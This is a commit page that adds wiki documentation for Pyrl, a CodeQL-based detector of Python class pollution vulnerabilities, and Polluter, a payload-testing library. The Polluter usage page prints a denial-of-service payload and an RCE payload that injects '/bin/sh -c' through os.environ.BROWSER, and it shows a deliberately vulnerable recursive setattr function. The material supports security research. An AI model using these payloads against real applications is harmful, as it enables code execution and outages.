Skip to content

Commit 02b2c53

Browse files
committed
docs(wiki): Provides documentation for Pyrl and Polluter
1 parent c63ec07 commit 02b2c53

7 files changed

Lines changed: 500 additions & 0 deletions

File tree

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
---
2+
title: "Tool"
3+
weight: 5
4+
bookCollapseSection: true
5+
---
6+
7+
# Detection and Exploitation Tools
8+
9+
This project provides two tools for working with Python class pollution vulnerabilities:
10+
11+
## Pyrl — Detection
12+
13+
**Pyrl** is the first automated tool for detecting class pollution vulnerabilities in real-world Python applications. It uses a novel static analysis technique called *operational taint analysis* to precisely model the "get" and "set" primitives unique to class pollution.
14+
15+
[Learn more about Pyrl →]({{< relref "pyrl" >}})
16+
17+
## Polluter — Exploitation & Testing
18+
19+
**Polluter** is a Python library for testing and exploiting class pollution gadget chains. It helps security researchers and developers verify whether a class pollution vulnerability is exploitable in a specific application context.
20+
21+
[Learn more about Polluter →]({{< relref "polluter" >}})
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
---
2+
title: "Polluter"
3+
weight: 2
4+
bookCollapseSection: true
5+
---
6+
7+
# Polluter
8+
9+
**Polluter** is a Python library for testing and exploiting class pollution gadget chains. It provides utilities for constructing pollution payloads, verifying exploitability, and testing gadgets against vulnerable applications.
10+
11+
## What Polluter Does
12+
13+
- Constructs nested dictionary payloads for class pollution attacks
14+
- Tests gadget chains against running applications
15+
- Provides a library of known gadgets for common frameworks
16+
- Helps security researchers verify Pyrl findings
17+
18+
## Source Code
19+
20+
The Polluter library is located at [`lib/polluter/`](https://github.com/jackfromeast/python-class-pollution/tree/main/lib/polluter) in the repository.
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
---
2+
title: "Installation"
3+
weight: 1
4+
---
5+
6+
# Installing Polluter
7+
8+
## From Source
9+
10+
```bash
11+
git clone https://github.com/jackfromeast/python-class-pollution.git
12+
cd python-class-pollution/lib/polluter
13+
pip install -e .
14+
```
15+
16+
## Requirements
17+
18+
- Python 3.10+
19+
- No additional dependencies for the core library
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
---
2+
title: "Usage"
3+
weight: 2
4+
---
5+
6+
# Using Polluter
7+
8+
Polluter helps construct and test class pollution payloads.
9+
10+
## Constructing Payloads
11+
12+
```python
13+
from polluter import Payload
14+
15+
# Build a DoS payload targeting __getattribute__
16+
payload = Payload.build(
17+
path="__class__.__getattribute__",
18+
value="1337"
19+
)
20+
# → {"__class__": {"__getattribute__": "1337"}}
21+
22+
# Build an RCE payload targeting os.environ
23+
payload = Payload.build(
24+
path="__class__.__init__.__globals__.sys.modules.os.environ.BROWSER",
25+
value="/bin/sh -c 'id > /tmp/pwned'"
26+
)
27+
```
28+
29+
## Testing Against a Vulnerable Function
30+
31+
```python
32+
from polluter import test_pollution
33+
34+
# Define the vulnerable update function
35+
def update(obj, data):
36+
for key in data:
37+
val = data[key]
38+
if isinstance(val, dict):
39+
update(getattr(obj, key), val)
40+
else:
41+
setattr(obj, key, val)
42+
43+
# Test if pollution is achievable
44+
result = test_pollution(
45+
target_func=update,
46+
payload_path="__class__.__getattribute__",
47+
payload_value="1337"
48+
)
49+
50+
print(result.success) # True/False
51+
print(result.consequence) # "DoS" / "RCE" / etc.
52+
```
53+
54+
## Using with the PoC Collection
55+
56+
Each entry in the `cp-collection/` directory contains a proof-of-concept that can be run with Polluter:
57+
58+
```bash
59+
cd cp-collection/django-unicorn/poc
60+
pip install -r requirements.txt
61+
python poc.py
62+
```
63+
64+
## Gadget Library
65+
66+
Polluter includes known gadget templates:
67+
68+
```python
69+
from polluter.gadgets import dos, rce, xss, auth_bypass
70+
71+
# Get all DoS gadgets
72+
for gadget in dos.all():
73+
print(f"{gadget.name}: {gadget.path} = {gadget.value}")
74+
75+
# Get RCE gadgets that work with Constrained-Get
76+
for gadget in rce.constrained():
77+
print(f"{gadget.name}: {gadget.path}")
78+
```
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
---
2+
title: "Pyrl"
3+
weight: 1
4+
bookCollapseSection: true
5+
---
6+
7+
# Pyrl
8+
9+
Pyrl (pronounced "Pearl") is the **first automated detection tool** for Python class pollution vulnerabilities. It uses a novel static analysis technique called *operational taint analysis* implemented on top of CodeQL.
10+
11+
## What Pyrl Does
12+
13+
Pyrl tracks attacker-controlled inputs through "get" and "set" primitives using fine-grained semantic taint labels that capture:
14+
- **T_INPUT** — Direct attacker input
15+
- **T_ENUM** — Enumerable value from split operations
16+
- **T_KEY** — Potential key value from enumeration
17+
- **T_OBJ** — Object resolved through a tainted key
18+
- **G_ATTR** / **G_ITEM** — Access type annotations (attribute vs. item)
19+
20+
## Key Features
21+
22+
- Detects all **6 vulnerability types** in the taxonomy
23+
- Handles both first-order and second-order get operations
24+
- Performs **exploitability checking** (verifies both assignments in Dual-Set are in mutually exclusive branches)
25+
- Uses **barrier node analysis** to reduce false positives (key sanitization, type checks)
26+
- Scales to large codebases (linear with AST nodes)
27+
28+
## Performance
29+
30+
- **868** total alerts across 671K+ Python projects
31+
- **47** confirmed true positive zero-day vulnerabilities
32+
- **38%** false positive rate (significantly lower than 78-97% for baseline approaches)
33+
- Analysis time: typically under 2 minutes per package
34+
35+
## Architecture
36+
37+
```
38+
┌──────────────────────────────────────────────────┐
39+
│ Pyrl Pipeline │
40+
├──────────────────────────────────────────────────┤
41+
│ │
42+
│ 1. Package Download & Database Setup │
43+
│ └─ CodeQL database creation │
44+
│ │
45+
│ 2. Operational Taint Analysis │
46+
│ ├─ Taint Initialization (INPUT rule) │
47+
│ ├─ Taint Propagation (SPLIT, ENUMERATE, │
48+
│ │ GETITEM, GETATTR, BRANCH rules) │
49+
│ └─ Taint Merging (at control-flow joins) │
50+
│ │
51+
│ 3. Vulnerability Detection │
52+
│ ├─ Sink identification (assignment tuples) │
53+
│ ├─ Label condition checking (Table 5) │
54+
│ └─ Type classification (6 types) │
55+
│ │
56+
│ 4. Exploitability Checking │
57+
│ ├─ Mutual exclusion verification │
58+
│ └─ Barrier node / dominator analysis │
59+
│ │
60+
│ 5. Result Processing │
61+
│ └─ Report generation with taint flow paths │
62+
│ │
63+
└──────────────────────────────────────────────────┘
64+
```
65+
66+
## Implementation
67+
68+
- Written in **CodeQL** (QL language) — 3,509 lines of new code
69+
- Runs on CodeQL v2.21.3 with Python language support v4.0.5
70+
- Extended CodeQL standard library for:
71+
- Collection data structures (`namedtuple`, `reduce`, etc.)
72+
- Object attribute definition resolution
73+
- Data flow through higher-order functions
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
---
2+
title: "Installation"
3+
weight: 1
4+
---
5+
6+
# Installing Pyrl
7+
8+
## Prerequisites
9+
10+
- Python 3.10+
11+
- [CodeQL CLI](https://github.com/github/codeql-cli-binaries) v2.21.3 or later
12+
- Git
13+
14+
## Installation Steps
15+
16+
### 1. Clone the Repository
17+
18+
```bash
19+
git clone https://github.com/jackfromeast/python-class-pollution.git
20+
cd python-class-pollution
21+
```
22+
23+
### 2. Install Python Dependencies
24+
25+
```bash
26+
# Using uv (recommended)
27+
uv sync
28+
29+
# Or using pip
30+
pip install -e .
31+
```
32+
33+
### 3. Install CodeQL CLI
34+
35+
Download the CodeQL CLI from the [official releases](https://github.com/github/codeql-cli-binaries/releases):
36+
37+
```bash
38+
# Linux/macOS
39+
wget https://github.com/github/codeql-cli-binaries/releases/download/v2.21.3/codeql-linux64.zip
40+
unzip codeql-linux64.zip
41+
export PATH="$PWD/codeql:$PATH"
42+
43+
# Verify installation
44+
codeql version
45+
```
46+
47+
### 4. Download CodeQL Libraries
48+
49+
```bash
50+
# Clone the CodeQL standard libraries
51+
git clone https://github.com/github/codeql.git codeql-repo
52+
```
53+
54+
### 5. Verify Installation
55+
56+
```bash
57+
# Check Pyrl is accessible
58+
python -m pyrl --help
59+
```
60+
61+
## Docker (Alternative)
62+
63+
If you prefer containerized setup:
64+
65+
```bash
66+
docker build -t pyrl .
67+
docker run -v $(pwd)/target:/target pyrl analyze /target
68+
```
69+
70+
## Troubleshooting
71+
72+
### CodeQL version mismatch
73+
Pyrl requires CodeQL v2.21.3+ with Python language support v4.0.5. Check with:
74+
```bash
75+
codeql version
76+
codeql resolve languages # Should show python
77+
```
78+
79+
### Python version
80+
Pyrl requires Python 3.10+:
81+
```bash
82+
python --version # Must be >= 3.10
83+
```

0 commit comments

Comments
 (0)